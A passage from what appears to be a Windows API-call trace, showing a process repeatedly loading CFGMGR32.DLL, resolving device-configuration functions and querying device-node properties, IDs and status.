(hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.776] malloc (_Size=0x18) returned 0x196ef0d1a20 [0231.776] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x37, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0231.776] malloc (_Size=0x48) returned 0x196ef0fb860 [0231.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6b00df1c, dwHighDateTime=0x1d9eb0c)) [0231.777] SetEvent (hEvent=0x248) returned 1 [0231.779] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.779] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.782] malloc (_Size=0x18) returned 0x196ef0d1f40 [0231.782] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0231.783] malloc (_Size=0x48) returned 0x196ef0fbf90 [0231.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b00df1c, dwHighDateTime=0x1d9eb0c)) [0231.783] SetEvent (hEvent=0x248) returned 1 [0232.263] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.263] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.266] malloc (_Size=0x18) returned 0x196ef0d19e0 [0232.266] CM_Get_Device_IDA (in: dnDevInst=0x38, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HDAUDIO\\FUNC_01&VEN_1AF4&DEV_0022&SUBSYS_1AF40022&REV_1001\\4&3ADB15C9&0&0001") returned 0x0 [0232.266] malloc (_Size=0x48) returned 0x196ef0fbd60 [0232.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6b4ad0df, dwHighDateTime=0x1d9eb0c)) [0232.266] SetEvent (hEvent=0x248) returned 1 [0232.267] SetEvent (hEvent=0x248) returned 1 [0232.268] free (_Block=0x196ef0fbd60) [0232.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0232.269] malloc (_Size=0xdc) returned 0x196ef0d67b0 [0232.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0232.270] free (_Block=0x196ef0d67b0) [0232.270] malloc (_Size=0x48) returned 0x196ef0fb540 [0232.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6b4d3c22, dwHighDateTime=0x1d9eb0c)) [0232.270] SetEvent (hEvent=0x248) returned 1 [0232.270] malloc (_Size=0x18) returned 0x196ef0d1d60 [0232.270] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.270] free (_Block=0x196ef0d1d60) [0232.270] malloc (_Size=0x18) returned 0x196ef0d1f20 [0232.270] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.271] free (_Block=0x196ef0d1f20) [0232.271] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0232.271] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0232.271] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0232.271] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0232.271] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0232.271] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0232.271] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0232.271] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0232.271] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0232.272] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.272] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.272] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0232.273] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0232.273] SetEvent (hEvent=0x248) returned 1 [0232.274] free (_Block=0x196ef0fb540) [0232.274] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0232.274] malloc (_Size=0x492) returned 0x196ef0fc1e0 [0232.274] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0fc1e0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fc1e0, pulLength=0x67117d608) returned 0x0 [0232.275] free (_Block=0x196ef0fc1e0) [0232.275] malloc (_Size=0x48) returned 0x196ef0fb360 [0232.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6b4d3c22, dwHighDateTime=0x1d9eb0c)) [0232.275] SetEvent (hEvent=0x248) returned 1 [0232.276] malloc (_Size=0x18) returned 0x196ef0d1f60 [0232.276] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.276] free (_Block=0x196ef0d1f60) [0232.276] malloc (_Size=0x18) returned 0x196ef0d2080 [0232.276] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.276] free (_Block=0x196ef0d2080) [0232.276] malloc (_Size=0x18) returned 0x196ef0d19c0 [0232.276] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.276] free (_Block=0x196ef0d19c0) [0232.276] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0232.276] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.276] free (_Block=0x196ef0d1ca0) [0232.276] malloc (_Size=0x18) returned 0x196ef0d1960 [0232.276] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.276] free (_Block=0x196ef0d1960) [0232.276] malloc (_Size=0x18) returned 0x196ef0d1f00 [0232.277] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.277] free (_Block=0x196ef0d1f00) [0232.277] malloc (_Size=0x18) returned 0x196ef0d1a40 [0232.277] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.277] free (_Block=0x196ef0d1a40) [0232.277] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0232.277] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.277] free (_Block=0x196ef0d1ba0) [0232.277] malloc (_Size=0x18) returned 0x196ef0d1f60 [0232.277] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0232.277] free (_Block=0x196ef0d1f60) [0232.277] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0232.277] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.277] free (_Block=0x196ef0d1ca0) [0232.277] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0232.277] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.278] free (_Block=0x196ef0d1cc0) [0232.278] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0232.278] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0232.278] free (_Block=0x196ef0d1ba0) [0232.278] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0232.278] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0232.278] free (_Block=0x196ef0d1ba0) [0232.278] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0232.278] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0232.278] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0232.278] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0232.278] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0232.278] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0232.278] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0232.278] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0232.278] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0232.279] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7220, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.279] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7228, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.279] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7230, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.279] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7238, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.279] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7240, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.280] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7248, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.280] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7250, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.280] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7258, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.280] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7260, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.280] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7268, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.280] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7270, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.281] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7278, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.281] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b7280, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.282] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0232.282] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0232.283] SetEvent (hEvent=0x248) returned 1 [0232.283] free (_Block=0x196ef0fb360) [0232.284] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.289] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0232.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b4f8bdb, dwHighDateTime=0x1d9eb0c)) [0232.289] SetEvent (hEvent=0x248) returned 1 [0232.290] SetEvent (hEvent=0x248) returned 1 [0232.291] free (_Block=0x196ef0fb2c0) [0232.291] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.292] malloc (_Size=0x48) returned 0x196ef0fbb30 [0232.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b4f8bdb, dwHighDateTime=0x1d9eb0c)) [0232.292] SetEvent (hEvent=0x248) returned 1 [0232.293] SetEvent (hEvent=0x248) returned 1 [0232.293] free (_Block=0x196ef0fbb30) [0232.293] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.294] malloc (_Size=0x48) returned 0x196ef0fb720 [0232.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b4f8bdb, dwHighDateTime=0x1d9eb0c)) [0232.294] SetEvent (hEvent=0x248) returned 1 [0232.295] SetEvent (hEvent=0x248) returned 1 [0232.296] free (_Block=0x196ef0fb720) [0232.296] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.296] malloc (_Size=0x48) returned 0x196ef0fbd10 [0232.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b4f8bdb, dwHighDateTime=0x1d9eb0c)) [0232.296] SetEvent (hEvent=0x248) returned 1 [0232.354] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.354] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.354] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.358] malloc (_Size=0x18) returned 0x196ef0d20c0 [0232.358] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.361] malloc (_Size=0x48) returned 0x196ef0fb220 [0232.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b5a0c53, dwHighDateTime=0x1d9eb0c)) [0232.361] SetEvent (hEvent=0x248) returned 1 [0232.365] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.369] malloc (_Size=0x18) returned 0x196ef0d1b00 [0232.369] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x38, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0232.370] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0232.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6b5bc70a, dwHighDateTime=0x1d9eb0c)) [0232.370] SetEvent (hEvent=0x248) returned 1 [0232.375] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.375] 